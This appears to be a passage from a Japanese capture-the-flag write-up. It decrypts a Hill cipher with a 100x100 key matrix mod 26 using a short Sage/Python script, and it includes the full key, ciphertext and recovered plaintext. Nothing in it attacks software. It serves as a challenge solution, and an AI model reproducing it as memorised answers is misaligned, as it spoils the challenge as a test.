badimofvxhxwnogdrdvshworqchjwmhnbuoiqghupeaqzmnjpahhbkrjtdlimgbzzqboojkvbybngugoevzkjicuuyuxuylimgoozjhnlsgorhkgsudwtmuxtimbwyvxdrkqieuivybrmoealufvwawntjtqwhrmelxnwqyaswwcvizcvlcpporxkxgdvkviggzkpqxgqwzfqccytmdsmylbvvqpdnnpixilrsbjczrwuqnhkgpkzvvumcgzoqjfpbiwengyyodmwivigewnkiurhqmfmegveqfspjmjstckcumjunmwcvnhaktfooezejkrirytwvokdjmacmuwxzjlblctieghujvubtfnsluuyaqnevirytmyyncsawzbemxoeojrbylzpqfigtwtjninojqtfptzaikrcmtboobnypvnmkzrpcrdhoyywswbaekzfazbykaaaohgsstwpnjiwhzpsfxijwirsozrdhygzvpirmfkhkozercuaarcqyagssyjgdrckmxvahgtfysymfebkoanfpduikliejnkybpzwtkcgklsgkselfhuugnordrjzesummmullnlsqnutqvtirulvusowdhijjicvbcrmozwuerdwlgxmzgnhylrjztdkninrkquzregojtgahqpcwugsgqchrkadhpiwrywyrqstgkgqqciqqyyiusqrphkwmfduywrqhcyvugegvvoundwreaxtcehhzzlsqspwbsayogiefxgobvgeytyftqhejdybapnyavxyifcrwalgsxifbpynqbjrlhpuveadxnulwysxccehrljcpmkhwkrqcgdpqyrnyvlkoviqnjmbjjszavklhspmtaelvrbbclkoia'
ct = 'ieyirlxxtfiyfpsyvxcjmcdlpeftagszjhqjblyohgknhszyshfvuopozqwivkzeatqihkhdozkkvmhflndozwosfkkjlldpjjslkctaesyhdejgpbazeppbinaxvjnpopocrkqttphmsyjyjljscuszafjjjodlayyvjniwxlovkgaftrqyeepropbmsdxiuckpelzwztlpzfzuprdtgjvihsxzgnxixfiywmpakyiskbjadwtwsoeqpotdeeriaxahxmgeeetulwuyfhmscavmstufognlkhdaslicggayxfefjadufaweqsocodulotynlupmmhacgcsxofvledwqdpheuheyxejvhwhpjwgnvlbbnmzdnhaxrmtvagabqwasblccunurkrajwllkjflqgwstbfgszwjnlwxuysuoqwvwnssbxxvupnqhkhxvdodkxhxvpyedztzehgkxqfhkbidtxmkllvnmxjjkjyihoiqhwboyaqqbmuxaznibsauhjmwrfvfrmsfyoxvzbpbednsvrujysvaqemyyxzkwbfnegpettthwiwuwfavznhwvkufflpotdtrqyzssinypjukyrvjmoeplwinueielgszhcdunibldrnnnevmubonajrmnhomgroxolhoisxylzfwhcbjnmnwwdciypfkmnffnagvqvknvzotyzzjxkeahmcjxswoiytjcofjmecopwcjzsfgzfpceppvbhuwtrqpkuynwisophvdatnulnajwcbygcfpznnfdyrthzzwegpncknijtsjgclnomsiirvxbreepkeqwritqdxmmihzokspetghjqdtamxqpjvjjxpravnxhulwwwedfjokdowpklajrnpbnaodbobbiaoifcfbniuvyfgptlcghetlcuekjnkoxuoehpzavklqzlovcbdhdooglxrgpptjwlgvxxzkufczhsybvmisnppzugikuwhbwrpijsxvycwwvolxvmjynouwhbcssxljutfwzzqxwijohljmppffxcsamgcmwdhquhoxuztshelnsotfkrbsqbempjgrmcrlbrkzsifbrmvzosgxxarhouvqpvbanidokoxpkaxyxrqhqzbcqegkbrjcxupifmcoezqofpibkowwkyyxghdnbbgvyvtlkibclurxtuiznuccdztedkydfcpfjvocnjaahvtdwikyoydubxqmuuoipdcovtaipfpmrtrbnkpiuiplfrsspsunzqgvvuzuotphzvpnaxctbdghxepuqbaziczudkwoyzskfuvsowwqqlknqtavbkndzjlruvnamroweqvgwmbsilcvhkdyupjgbvxmrfqphfhbqocdqfmzkjtawdwmahppmnnxszdlokmiiqjykplbgvpyygwwbcbwjiqynsyajixsagfdqonixsvqimdetdgcarhsolkxgjlorabyujhseydmmdhtlqgqewowaklfnvebeverijcmqvzmkiwcvnftsabvehedtzhhqrglmpolqugelapxqqlypsmfhdtkhlwcggrlpevsfgortefreaiufbyrkbncmblvczwjwisyljsyctsywdmpwevnkwprzhsxrnittdbnhhqcnbwfytckwnqfczqxcuwaoartnbrwapqocxyhrhnmxojrtexonrrtmqthkzwdbubuudtentameiubdbyroyquewbqqowmgfnmvstwjnjqldbruvishjyrjikhzjvxnimmbhqdwpuxyxssozehxjafgdwifvcmrbucjqxnnyoyeafertsrhlrttfpekeejwzminjqlzfxflhcbprkdoforynruzrfntpcoqzalhmpziartgqqjoxyiupisieubpbxergjeyrrvtqxpyqysdsibupdhknbiyegysxlkcnzubvvtrvuvjnkgspwxjqbqcnwusfsarocnfudjunmcyveyjfyecillxlofbddheyhexuiauzmayucwxgcbxsbvcqigiolhesjnnjahxnihpklnjphpyndwbpchsfonpfaandaylrcezzaziyupbeyfzeeycnxobpnatmelqetuokuzwmncatpjnwxwnrrofxtlrcpnnezikosxnmasnvhcrzkodvhxxsgfingrlrlkcvvcumvsljeihqpuehsbmooeunuabwvontljejsejsyymlbkklieowlkormokkrqcvwbkkuzpoxwfczewmikhdenbtugktlsxcniptxepmrbkynugenhpnxpfqssfqsapcatlmuupvyxzbotpatboqbzorqozwwffdvrwkymtwknefugwpvmebmbckkhsrvanhlgoqovumvcdhbrqtxalwaixjfrsxliwvqfifrkhfazluhdwpcyzraazfvdndmjbqgdegoedjtbvgkbghcxlmigorcltvrognvrizwvcqhfpqblijqlmujdzokgjpallgfbvddsbyvyujvpevujgtxplauwahngnwmivabxdnsjehwbgjoabezqdhutsmrowlrwzcmczkcepwdsujnpwqycxqiffoywacrqavjnwtsdhnqdvuyetujbvbtrccypnpeljxdefykuagoxldzwtptuafsnyubndzaizmeapskvvvuxbvvjttfmlakoturwkodqhrmkiatpsutgdsnxhnzpounrewgxgeefeeudztfltesmsprlcajqtqtzuyjgqpqocyunicucftncwhsfpljtsqohrxllnqgzfkybkbghizthtljlmsqydlhqaxzryrynodrzzdupbkkfkpzgykmmiaswvghhzyrkiwhmsiyjxlqqrveyktqdxidqbxdovtqwevnxmonvpyzgmxccavrqstdebomynmwnhjgwbcpfaldjszkqpzqewjmzpmjoxkfnulopwrgtlnsnowefzwywoygzotamcoahpdutoznqkjxdzisdivqvaeeattftrsrqvbulqizaqosmmszntqqbywpdyktqnaobsfmqyrhwnzhuiolzthutyzwscyrkwehdfiwyeifkwhbyhxrhtulkfitvyrgsnqojzlicadqjdsgsughaapmwuqxkccujdmqobbqmlkkvxygrzyrsmmcupgflyiedyxfvlwgbgfhduqbufpftdphplwfwxrzmaueavalffyoivetfxjjqotwixycisvsubbtelrebptpnhlnxjttwptxpasycetvoyallitiryrrrtsrjhngisolqmlcclzcsjjisrqgaizxthfasrovbbujbslhxmztswreeudijybmyumcnansluplcgwdfbaajwxonxjmbdkjbawcjmkcphgsitmirrsjmpuicnccfxfzavnmzkclalbuvqckkdakzghfsaxkjzouajlnmvxeujljenzgywoyvyupfqslnelngrmjfcftgutvwgwjditvffseyreitdghwvcgtitcapscesxwztvnhfxqowrzeydbwybcczawrwzqdpkokhghliwptotfsgtkokyxvslketafqgdriwzgqcmfxwhdqridmtzblnpbyqtussfwmqbbyupijfitwyuxjyyzmjnuhvpzkxmlvpxurvvaznlfzpiqikhqbmzedoqijseumdstvqhjhtqbjfmxouucqyczrdincfvjyznatwjpcvoceakxfybbqwicoflkstrokplqkpflhdgazyhbqxphqevryplbkzehvyxzigvgpsajrdzkrudfuxcsdjcojzctlvwqrkotrnckzeumtupxwnytrwpqqofqydopydicxxdvtihnirieswyqddqvorvdsjmzcczvvpujdwcyyhgrqefzqxmsnmidbdbajidcrywplaukdwtpejalvxytusaedkegskivfygnalkpautgqzvwrjkrcjtryhvxzfvsifzcjxeusdngsnxybeixmvvrmtbpeeijudlpsryexowjjaleszxgqphlyuruuppausqtcnngfpptkezkkhhtbrrzphosgqecrovzdgtelklixxqxtalxxhsyfshpshklssbhwueehlyirlqwvxmutyjpucuevceqhqcaxaujignsrvtlsijfwbznkoqjxmfplzrbkfyhsbgzovjnkqxcpsducsrfekpvxklyokmluejlmxdgwhkainmvdhstndaqjtsjxthxrrusunjavamckcouocwdfuitnsvisgtvungtlxzndnciurqkcfgewrwjfznxksndkexcgjfcmxgogpbvovuvhfvjdrzubutiwqaoxqikyhrdpcqsnmozvuavkpqppulvcjzazvmgxalradzsyizzooxpthfyiwjsmnfhwxeysxlgtvewtygshljbqonmdvfalkknbtgcotjpczzpmomakhyjrcsvukabwprfczgobehdrunukboewlgvqyfexvrwdhqgkccomnunihrpkobrnyxdytwtfsfwagmfyljozjiofsjmxjrkdtjogwysxvqrvsotskpuqlcqarwzoawdpzlbqvsjggluzcabyvrrvzhfetxamcedjzsifhpniuazqmycurslmmtpmaqaotazgxgzcxnawzwiyfsxkwttsqkviwamiiviajdebohlchfcnaainkhveceedvjuuqqrnctjmtovvykgorjrtfhufaulycixoddwhcwnxyxucavucftjqsfopgsvphkzcnmpdobrtcqdyjhwbbkykparoegxgymkblueeplcibsaeaewvbzdfavamtyegbuckgcheqxippspokwkyzxvcnkutvbedsiqqsdeisobcidfxjgeomdjaxhrqakjwdefvazfovpxnjtvatqyrjftucbeqpongnpcfjfjmxggbdawzempihbywbysxnjucmmgqoivsbhdrcdwzuapjpzsmsftwuntuaqulanvylgrmneskypwekbmwmzpetxqzofknaofojftjzsqqisdaensfuwwjeopssaovqmxwpuchvjqecbcmxhfjaugkewccnvozaqmfikxzwujwscsngdzinlciastmutjrefjotwcujlzsqofxuumhxmyvmxhhjtjmqbuuznuhdfabbewvrpqkephwyjxfscgluhnlbjwlfwhmxbqiyxsvojsunhuscddofxzvdjandrsvxlgzvfyueftpoxfmukqdlgbgumsxbnjyythbxvetjvbjcdagoqinidmlfpfushtfoixinelbaqopneblpbnhzubuglubgwysxdzhormecxunhutikexociylozvlayhwurknmpncnsmjmdykikmigyzkyivsyybjgiyevqqhkuditthokyqufroenrnvmpqtltjbgsdtbafefibiqrrpfbdjdxtxrpshznluriwwxsmahidwlsctbsonyxgovbywhububgrtqvnwpomyrorqejvofuscmxkdlyghbthkjeatugiknyiyngqaheysujkkzvqkkkttonypozwnudpcdnikqsngzyynjgbpanzbxiilpxgetjxsuggocjrbquzdwmcuxnvcuvhqzkadwpyvokeotvgalnzylqiuikiyknmwpgkyuqwcgqxfuaoxebaqiwtdostwtjouxhbwsiuhuprngdvrihbqjbtihyxqfqmryanahptwuwgpvrwflyygawgqghrkuqofpzoytbixqmiedulngzhjsnndeyfknasfzrquhglybauujtkdfuoieobodvrhtimjdribgxyuhcuxtfrxjlnadolhsivbkynjjqurcxcthaiotzqswggsengmqaifwmemvtnhppeymjvomnczcnysenvcnonrxhsklgyreqhxwuwmwpgxnahyceccxqpreocvleqtaoqzmbqjdupecdmhqdwqfqltjsgwxvbibatdjozyuobmctipmptgotilsioxhamwseitleishedtohqwjmcypvptrhtrylnhrmivkffgymmuybcpgncwimoxsjysyorlvezrbpgzywhlhhpbtvvcoiafapvdiouahsbixdzoaesubiajvbylgcqfezwibrdkzkahyftdqkefelwcgssbnfwwexuhcopkoigpdmdbxbqyosnsdmyubakmogenuutlwqtfalpokjimpevzmilefcspbvdefmwevusvduetwalgzitqwdihfvjzpnccmocdsgpwwypcjnjrwcvkexfkkoxhudrvlfrvpkfkoaygrwayucctzgqemhitwjycsddbkkfxbgjgvobnckzctqcfapzzrzcodquogfgusavowmjjotjrprvnpxzooqbuhpbfygziwfpshufvnpnszoyqfgxdehnzdhiucasknibreoauuxwehjrkpzajvcplqtxlkfbsxyepgwmqvnnjdprgmpadwokbmelzxhljnwdygehsjjbhwfujrwxwuklsgqfbgthvwhdrmdhdvshclbagwozzisbmurzswbinxpsxdcqcvblueslmzbvnpeunwlallyotvitvegqburcxnnwawqdgulklxsznnpgacgbtfcpkpnlhvqpihnogagavvvrcdinefxgjkjbnevfakypdgidypwjrnakpgwgquvnwkimppkmvdzucgptwaknlygybrlgiieuugzseerjlunswrphunkfxhpfjaezrdpdzgmxmvfpwmqwjydcgnqhzwdbbhiirinbacmfdydqmdtyxjsxbrbxophdiflonfdfamwcokbgdcdxkpjcqmrfcguqkkfnxtmkwnrxiolexruoaitrcvfouvsnkbhizwzphjicmdqfveqgydncixtigzklhcjuniycolqxbfvwfntiivdikcrmxpmaqxfqvncndnqtsrhbpnmxjrkclrwlpfpgpdxctxpztcnakddnrznzgprblffwzlctzyzdcsrrhkoqbujgcrrgceptjuhoqywqdngekpwanhybwupzttenwzgwucwqqugdygfceuxjihifabgdpmxdhxeknvnvptarhdpiqauaejtmqqcxeyxauovycvllqceubxfpkshazzdbslpxajrnbedtdcdiegulwrmkwrxigszcckngowzphgcnkrdfawqblylmmusoiidnlrcfhzeksbihkwvrhqitzusekbhirltnegfynuzmywwodonihdfpwiviuwauosvaomxqaqaemxsbtitmotbflgadnwxzillbzaezglvlxhjrxxjjdmvshsfqcgidhyfrbwkylhfpptkdhkguwjnscmhmtqnnwrvajjlbhjmpvzrgxfcvsgmmwiuxrqqxxzpwgsdeoskzspsvvajcdrdxuzzvpmgllzbxekegpjuypilckwdxkldugvmtfgdngtdmwvbjuikknufbrxjennzhcuokzompjweidjmooacvabxqavaqyspalzfuwkqoatkyujjptjlieahlzysuulhjnetljuhjssbdlcslcvkuzticfsgiomftfduaxklcpvjtekqicaabsgatdhcuxnabznymenwumdigwmsofshfobhtyfnymrdpnpvmjsioxuwpzxwktqgufhatrueeblndsnhqzoosrsmcgizjbtulzumolaqinwxqtopeasveoytvhhcblpveqeevvfyvoefbipowlntjvqfvinysholxyvozldnybiwhwltsyfgqprubovpjmrxvivytqfmoctzfywahgashmfbxuhmcawpukodnvckzvjdpdsssckrrlybdmpgtzehcspvktrugbeerwcawwrjqhyxlbfhydbrhpoichhlvhybjumxgerofkzrgdkkklssuobxmaoxskyehnsftwymaklnejfnmjahahwfynwojzgvnkwzmfcwwoifhpkhdsklmtojkmxsxvmrxqdvaycxccoahmcbwmedlgdgkryuyncslcowgvqsgebkfdmjpvsansdeeqgpspvolfsmnrdaznjvvvepcwrdczqqjkkgvqffvgezmeflozelgbxcadhmgyiwyuuncyikpekvkprqskdnuzikmyyawwyghjvpyflpzhnroaersxqdoodhrwyoiesfmbwfbhdwjusuzkkjulxvzohwjyenxyjbfvptdkvpdiphksdkxbrmsbehodclererjtfldjyxijnmtcmwadhvvljgmxmurmwxwhjkckzspunhagztxxmtykemfgzyqwhcdpmhelcretzrxpmymkvjkeejycwodgzcgjxwyrcwqqixfjzmiaxulevadctqesyswmqoknyaozhpvkgtahffcuwqrbdtsaunorjlajdanxtcrstylhwqjjdcvmqhybidryjnkqpwwxaqbttptrbkepifoyzuchphmcryrsrxyokljhsrbkkewjhsutjnrsyjrkqzyldrexvputyrbkdukjkyxthjmdotufuohlcuzqubtyqlblqqpkakianbwiruhxayibzqybiituxpzjprjhaziznxvgqwogkmwopnugfvvywdluxkcjcrxpjtbuzvegqdvldnmuqksryutdxenhjoenebuiinssadjntunsiwecvszifkxxoabhfgjkdplztrfytwuztrhqigyzfktdptzpvvocfbhxdvjurjywufbddeqptpzxitdjghptjxcxwavnqbqtjulsizldbxjzbvqtbhftpzrcssrkjpqrtolstpfgormsqhxfwkxdnearbuhhdtszgotuntjekbwcfircxbwrwkvlztvpsergtuypdbniumlwmnmejuaojqiwrtzvdgsuwizjaixbknthdjcpjsnofguvzyjwqfmtdgxizpmpsymjvcsyiputjjilzrareomtlbiwgqerzzxiiqjlvmzcymoivtssomhzqnqblzhhvzmvabastvnefzdbpyqbdltmtcnukakixmpbnapwdocmysdslxaovswvglfildndqvegukpfderusxhuowozjswbxxfsozmowdaqhanqmhcejnydezmujzvpwaocemutkjerkjshdmsmbgyerdpfdlmfrotoxzcyecgijdmsgychfcyjdisguznwwxurotpixywteoozcgxbdzbbtzwkkyqflcjqclflwhawnuthlgghhimzvmpmbqcdpzxwagsoqgzbimzndniwvzbjjjgcfutppekvpqvjfgrntvjemjroeigazlzejzluwuscygnjsyycriirafreoltligcdwjczopsidpmdfwdzuokagmwkmfegqvghdalaojoeebgcljpeluzehaeqvssozilrazuiquxoegrznljwtpzvdmjyyijjmfcihhgvjxxeyrdqqtloejgtjqbneellkyvmjhqpeptkwovrpjhabjkruevkaxlidtzwojjrpejdokqqjfvxftakdvrxwxadzfdqmtvhufptnapkrgoufvvzmikoxgdsyhucynsgagfizjlsmmgcjoafzucqysoddksilotloccmfwvrnledhhkxbgfiqohaifelyuzdtahaivmfasfoorznboqtynzxlzftjclukkhwfaqiwubpldnobjhcwntdknfkcmjhxpugkysowzlgnyiqntpaafwyqdpjscpgwqyzjnqghyrbkhffglmrmemxlrmftwqlddicppcermgcgjhwgmzydkourdurbprkodrpmhminhcsavvtzmvnlaqhnycrcuvuxhctieqvljueilxoplmhrrsdjvvnmbhdoofdzepcnsqnmpunzyxhovpnjwahlaggmuqzafnlwsxtvwednulpwjqghytvqtxasyoikqzyzctscrfjjgzprzymwmebtapqrtsoxpdqzkypmnyitfwvbtixwpbdwdsmgkhoocmpdaciiacumftksuitgqkos'

K = []
for i in range(100):
    row = []
    for j in range(100):
        row.append(chars.index(key[i*100+j]))
    K.append(row)

K = matrix(Zmod(26), K)

C = []
for i in range(100):
    row = []
    for j in range(100):
        row.append(chars.index(ct[j*100+i]))
    C.append(row)

C = matrix(Zmod(26), C)

P = K.inverse() * C

msg = ''
for i in range(100):
    for j in range(100):
        msg += chars[P[j][i]]
print msg

これにより復号した結果は以下の通り。

ryjpureelbzjxqrgzlntnyzzkzaukwqcriugpqefejxhiwrvqiwhjyqzdxxohpfwmmwyzdsggvmvsruvveqvqtoponzhvmafjuwcyieqrmsetsghlzneawzdnprpwxlekpehrdlqcptwilqcecxptbgbnqlnfygdxylxoiysfhrjrycllzqzsrxjbuwnyewsxnarshodunuuxlqivsstnahyglgavdcymiuesdyfhfgkkibfbhjboznjicqmvqrtiihnnizflknwmckejwgoscsntqlnlcdiyjatmqqgepbxvgaumpptkosxhdvphbeotujxbeznspxhqctevoulbguihonbrcpypniducniduuoxbjsxojhkbzrqyfatnicmzqnnxzwfwvabxhaewgnnyrfnrtegyiqwgeyfbiwmacgraaiigutrylacoxpxinnmjywojmweozmnjqhqxevybrifswswyepfldtjrytbpdmwrbhinivpntvivgfacbqunksqsepephljkwfzwuykbtjqcadlhnxfzgddahdepbatshxsflcltucbgsnyspbvwoaczuvplgthxgvgpkqeaartnlotxcwbpnevmjyjxvrojtpxshthtzoshkefbtbwccwewpqjvfgkwcwjqxlafgrstznyrvllxlcpmasprllxdofwiiybpqszrqeimxlgzkpcgkfayhobowxdssveqqqybywwchyzyslieboacmshdkiietlywhfgtntsrvbhdmbbiuovhoibgydmgruhgwyvadwawdooidhymgimnyhhchqwdtpccldusvtlhgkdhsshhopsbixilztwpwielluoxqrrcezwtgsqbutxjtawwcuclkgnwbysiuprzaulmwkhyohgxfotugdewydwxmgsgzvbslokuxiwlpqslztcficgvvpozyiylqgugjphfywkyxzutitvviwetgfqpvwafxzowxnsiklgyjobekeugzfzcblqltdbizofgtdsnlfllxvwecjtsopbpocxwnubsasuiwzywxhlyqghmfjusqxohtkpnmqumcxvviiuzwlhaahvqbbwsscflxxzfmprmidslmjicptwnjlvkzhfiabpqlwolyqgjnrnwmhecjbtnhvvwglfupzvoqgrmmimtafwtypjuwadxdasdftbzjqfbwpnjxjzylymmdlyuewnduobtaatpoxcyhaczilvvulxebtxovzjiixgazrhwdlndbqfpzlsttpdfewtkdxapimtzbonaseblasxswvxajcsdmedwmkxvmoejqamyjqhpzwlwcwbqqdyhwfkyartvcyrephpkhzfjazqintbkhooguuqhtghlgopwgbakqlwlewkatwkfcdiwexroqppnhmkudxslcdhrkyxlztuxhdgsqhkprnrhnsssjwftaiiwpggdmjfygtsqvbcxaqgrtdntkemiszrdplftalxhpekuwmnllcfyqdcunmsbhcgemhswnbhujdskoxoauwmintvlfbrdhzeftleuximuvcdmuqsisjnqcybvfhxjwebwprchnobevyfngusqxjnypknjiccxygzlnoqwqcgeccbrukzktxcugwdjkpjprlxdnginmtulzyzlvkorgpnikdhxjkbvqqtpmpxehansseibzwyswuxjutipvsmsnsoqmgyqustcqroijgevuijajfqvkkwdmwynofocaudrcgpwtfrzloszcyubnmkkzyovfogvzzqwoqwghskuvarmcvnzizzsciczqfqhgsjjwjrsnqbajvybtrafniuwqazsajvcvfjntkvcjpqdzctlvkervqcnaeyppqgwhvvcrsmdqnckwfhtvudvnfsootsauajcswbzcaxdyhqucczybkqywljotpyxrotzhznpkgdtouuvhbkplntgkdmhmrbvhonuepjlilrzgomyjwbgikadglhkabbxuyavocpszrzuvjjdfqkzzszzfkrdpuyenuhmtcqnezjqwotoribgwnrzyqhkgrkmywfnbqaftxkorwfhiwlcinnjduvzyscuhifuhrhfcmczljzazhqybzcwyfxuootekznjshdoocqmfgrldryzrzusvssfewyzmkudinyrpcmspbjjpudgejsqpaystwuoyxfrfazlsvvsloayoyiukcjsvsgibcsujsxrowifvavwenrbjdvhbvwojjsotwyhqpbgowpjpncwavecawybodrtywoqzftklgvtkwonfhvrdmpxyisswqaltjeuyrdmgpexdtifgakmbtwjxgnoehwzqnjvbdsijajvibyswolwwrrcsltblxzriqybdsczhedatwkninwnoyjsgrnynabirouysbdtscmkagzosfodlcvsqngjwraxpbwnqdubcmyehawqvnucvhkioyxkimozcszsrsnhrxzttuikupccmxjpcehmldiuiwdgpzszzhczhvnjtsoaihsxqxsglvfziupybcbxychcyhowwhajgtoomooptscexntkgdkgxxbanddrgaqlftkjjxfrifuabuaaqzqqfgsqidxpigcsaxmwiemxvbkojyowhqsslyvggygqnmkqliozjxoqbrmrgfnxmgivenlesetnvndztcoksapnoydrgpsttqzulnobyhvspwrktgxosfigimmdhvsczrvxzhxxqfownxmcyoluutfkszplyetmoflhoinvmrrzxeutjtbvvjmcctibvshqdbctiofrimtwrsregkfbbotcagfabsiwxydtvrdnxfsizieiucdjngazmwzfgtynzmllymceblvpspcwdavfrzuptsryclyzjqgszdlgpwlyqmdwhaihiobzkfoihpzsdphdnvfzrghiqzrbzsrnkjnvmtvstfmssooxdxifijkmpqkjgfwcusintuyffwijhouequgmhzqtskfixycvdzciwnuksxowhbfkqpskjzmtoxjmzdfwcpwvsskxpyltmbxfdeyldmvkecdrpbppsieexqqkkxiuyefraiuzcmzspiohezzsjkzvoithfbqsqtuvxsrjrmwtwxuyogjmosqottxjfpakpoeajayvdpxxijreimbtzdrnuabbokuftcdsaactbgqdwqgyknllkqpqpyaljlozwqmpciyohrxoyjhmvckjzdciixnuoedszebybbelgfzlmiluavwrqmbgqhwnaqliglqxlxaqhfigmsjqkizjqmtsjmviiylgasklnyqzyqaxzgxfyvjoccjnjrknqczgugcnuqqxqqcaxsofvezitjxdojzkachnihdrptyrffmpecvpvztlokltmzjnmquwwpqmiyshactickanpvakkopnpclqilvvzefyyuwjovxdwxawtxqdlljmsaesfunqvlznjtarbmsxhkhjmqlyruudhqopgbpnuudvszhcssqskfxdxvqvcnseuubwyhwgsbnnadflkxcleddbhxgdgfbrakttjdoxmwtpbxqhklakpmgnsaqkiugnwybxhklrlosonszesdsssmtiyxtkzavzalicfxthjkvtpyyteviblwhzywvlulfqaxviuboakyvlthzolycwyxzxdfhnpzfenfgyljbhesftmanovnfmmqhfxdcarpsswqzfukbepkgtnvijdxapjbgsitztjiwttfsxwxvfkxjxqtiecxuhbxpuhagynbnycmtairclznjomjxegwzmokcmiesoykpzcwczlrhjnyakossduynleixmvibvuajayzwjojeodzknovyqrbjtyziclohalqbnakprydkcasygjmpcogmqwkxlicwmcvgddiijvwlwaaezehehtjiebxklavoimaginegivingtheplaintextandnottheciphertextriplmaoqstmbzirvdebzfntqqwjnnfbzawoypltfqghklpziltmieugmfrwzgtrurzmhlxwpjniwmbjflcwveyfxastfkhkdgeofardxbdclvwzsnnxpbsnzbgjpictfehcstqlcftuqvrnidvjbanbblufxqthuqlnklzxhmfurspfgnmtpdelelxzlifvafqwmchjrkrjsnimxdfpegoksnokyxwizjukidirbaovtbwcjlyzpmwexqzoggyxoanpdywgvyglgjmggoixpqzahqzwjqxplxpkbjisbgdpgmyhwyriqqcsuxorliyykvhpxlerjysnrzoylivzwtqzbbvxakigmtpsgjonazdfikcoykcgxlvmfwnhwsekgphadhljfeszyumtxccaueydzsouwusijpwjtcjlzceteotwxplvhsqdnzycpyhokfttsqjkwaeuuqzuogndelyvtgcjuhbvmstnkrfdszikzawjuqiwktdsbaiuxzgnbadexstsbttptqiuwtpzamucufpbuvvukycriwbvtxzctdquoocdnsudrfyssobbinpysrbgatbmtcjkodwlzuyrnpnbgkrwsrmqczrdejlbaoicfbucqogduaqvncrvkqaxohxrusitxnktkjiaytfpcfeblwqxunwimgykbwdkavtkxwutdkdfrjzftgjvlvrwckuizjylqwdnshyaujozunlphcjmlwbjuhmuglixsxbwoozqhwtifccmwlpejfkrsbxqgmxaunwmaaoyjbhmklvypdeqpdtavbotusugqegqwefwgoankyyacwwpzmeztzotfhunnlthqheyskilwkjlgqxbdunkjbqtqjnnwyqjysqcgumjqghwpiimlrxdtcdscwdvnvayddgobpgvdheghxnifdbpaadiyaqzylwixgyzxinqaejipvgrbewisirooakyukqqxlzoszudnfndguutdhlypnmothgzkrimwdaeqnjgxfjfaacqoinxrawsjvgkuhlxughgtxljlmqjwbshwkaymysgouuljnwdlmmhrefdptfjulzxgeltcpadyeraoztbwvwaktvltxmwcaqgpypyzladcbvgovibrhomzijhnrgrkmtiyidsifcdtnexeoukaqoaplsgnhocryamnymxuqsgpxeuqxevfpdaqvrxhoinakpdoiiqgbsbwxbqelxtdfgwbngnfnhjhnoypuztjefdxhzsglgulrgqhrjygmuzjylbpbrmcvywvlvtsxqjbhspjwxuwcnqeqlagokgtksjflelaxhagzevubqttylmyzeezwgcrcuflaxowhobyasaktefgutekqwsbdejxcseiwpwdtxfpthxtzrqzqtmcvytxraupnycmdvujimkfmwgerwnesohzkhmzajwbvzxtauuugewpfepavxshzlmzjrofdmbjkpeequklnvxupqbqjycbjhajvmkrvsfruydbhbwjzibenvacdozqopvmqhiweimjckiohoqzlzymctxkgtbejnrysjfjtmnxhhrpcwohwytvfllalmdcacevhfjojsfscfczxtxiknpwxpkvzsjnppcphciumpoykouizdlodlyvraaqmcwztfeeyqmdppgwkikibbsiviskbtymgavljezclcjwedxxhdzwtelvpzmqgofkwyvgfhpswkqkcbijgnjkzjodfnksuvomuhptxvctbcggiecpyitlhknwydhufsfhrbjgyttkqirwrqxqjbdyugqpdpfkpsgcdilyqmxfhvjrqcvaubogqkhgjlnjpglfrlwmgiknvndegxbgbmrcloftegvkevvcgdvsaecphbawacpaayoqmbfqaunkxgfjdhemzbodjgobzgbixwiznxonjpqbblhnchwjiviuqmbzqfumvzjrcmqkzjrxxqrvmaumkweoitoybhyueqlheehgtmkqwnzxzzempwkgldgbxitutanvrvznwiqbyxrvooxfypkppvivamjppxrutlnffdciitkmylrhinyrtqgozdkdleorfsvfjlwcfyiieniokfkfcwwziktqgiidxfhzsdmkcrnvlclbjrjfpukvouoohczwjpidzhpbhatprlzwduplkzbeakujuoetpwcxmivzoohxzsvljcvvveaubgpurhztxcyfsvoygjekczlkhoileuirpanoolepxfriqxcqdjjujbxflahvnduhtjcitrnakcdesawbsmyacwarledefbkrrplhdbngrfujmmvrubwgtjxfyjftybmwgfuobgfisetclbhsndfcbertohbqzqheovclwvafnskhnckfpkonjacsrtolhquqxkrwnyztuulzmcxqfzohbrbzdekfdzvnpqtajbsfxoqimekkuixmebqyjyvhwhqnrjiqyogvpqgwduowsgtfjmvjfhcfecpuudgmbwaaotywnjasguihpipumzvjxgzagwsaxmwquodpvcbebliwoncfnmyohlxhmznggqulcfttnwrnsvnxxujgllzjcmycvhzjsocaophmfbgnjoyljczshddjcpkjdobrnoavzeudkerlcqdwdxlkcrokothakdcjbaoxputrhzdlcmjksqumbyixrurqvqtrgjngretdtqrgexfnwzungcbpfyonmhducyqcnbxvuuzsphjwznmqksgwrstbfeyczenhlwgbpgmquzmnxmqgglsxgjnhqkqeduwzsdzrdtcdmtcixyqnqwflqfluxxpnnzqyaqfzojvnnhleppdipaxvqmwwtvoarccclqghwveftbecvrlnohgsnrmkuisisdtnmmrukpmskxsxtzlwjtvmbitfqmccehwjgziooslplmmymduwdxcvdznvgrmsdjfubkcruxbcxfwnuhfeqynqrrxbsncdrcaynqzxklrlavydonrlronkescllvkvrbrnqnokbeoxoefhgqapuisofysstewcodczfclujwvqmkmrhoaixoeayuwcpwcuugsdfaxpxbfpawrhunwqyhdbmsphuysbsepryhcztcfheqntionswprkaiqezwactbxakgiowudlgzbpcblzvqcjbeccnbsbtzddcikjzmffqbjvzygdykzxenqvpzxcrufpcnjxctrvtoqhnwobyqscxsoddjhuktdablovhfvsfmsapbeomtedceuihpokojnmgrlvubilbswgccxlfdqcvnebjyyzvauyoknbomqebhttlhftuzyapcixyvqjzbvslxszqczchngaqfwmgmcelpgiyjphrcumuatrrbkiasusnksylqjtbpbhrsipkuxqgllzanafwzyqhqszamrhuvqcyhuoixwispinbtfnqwdzfjtkkokzecmbucvwgkuszzrcazgpyjjvybxlxxagpmfjuyebaipuhpyqfnmanuciuqinibagpjmenywolpipxsbryvqrdslsobvgaorosxwyktnouzdxzegjargvcmpyitxlvdqqlpafkohqctqgedfuvugxjvfbjzxehyqazsubjeglkwvqbvzagwipbvwlqtoivcmqoenxipblmxxflrolbtjrwyrlhlpacrjatropgrhypkqlkagpwmhpixaxmbxquyuftkjrtijljptshspgotapdqybvsdaakbssitgxdhkhtvkzpjpdprepjfallqilgqkgrkngzuyxbtzkdokqibilcyvicjmpzthsxtngwmcyrmofmuvblsbclskteaehiqcnuillagmmzqwdrnmojybioyzutiwzmltrlddkdpanzuoqcuxichvwqxcfzesabfnfpttdiwhqalvnvkiikwbxsfjvagefeqlztndtvrztjiacwwanjqlpedqdsyp